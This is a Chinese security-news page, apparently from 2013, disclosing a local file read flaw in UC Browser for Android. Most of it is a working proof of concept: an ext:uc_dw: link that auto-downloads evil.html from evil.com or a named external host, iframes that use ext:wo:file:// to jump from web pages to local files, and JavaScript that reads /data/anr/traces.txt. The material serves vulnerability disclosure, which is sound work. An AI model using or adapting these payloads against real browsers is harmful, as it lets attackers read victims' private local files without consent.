频道栏目
首页 > 资讯 > 系统安全 > 正文

UC浏览器本地文件读取

13-10-28        来源:[db:作者]  
收藏   我要投稿
UC浏览器最新版可通过下面的链接自动下载文件。
 
ext:uc_dw:http://www.evil.com/evil.html
 
 
UC浏览器默认的下载路径为/sdcard/UCDownloads
 
所以自动下载保存文件名为/sdcard/UCDownloads/evil.html
 
UC浏览器虽然禁止在http://的页面中直接调用file://,但还是可以从http://跨到file://。POC如下:
 
<iframe src=ext:wo:file:///evil.html></iframe>
 
 
接下来就可以读取本地文件了,最后的POC如下:
<meta http-equiv="refresh" content="0;URL=ext:uc_dw:http://fuzzing.duapp.com/evil.html"/>

<script> 

function init(){ 

  window.location = "getdata.html"; 

} 

 

setTimeout(init,5000)  //5秒后跳转
 
</script>
 
 
evil.html的代码如下:
 
<iframe id=test style=display:none src=ext:wo:file://///data/anr/traces.txt onload=getdata()></iframe>

<script> 

function getdata(){

var data=document.getElementById("test").contentWindow.document.body.innerHTML; 

alert(data);

} 

</script>

 

 
 
getdata.html的代码如下:
 
<iframe style=display:none src=ext:wo:file://///sdcard/UCDownloads/evil.html></iframe>

 
非极速模式下访问下面的链接即可获取/data/anr/traces.txt的内容
 
http://fuzzing.duapp.com/uc.html
 
 
 
PS: UC浏览器下载路径须为/sdcard/UCDownloads
相关TAG标签
上一篇:Oracle 11g New使用RMAN增强功能
下一篇:Java研究_Java面试题
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站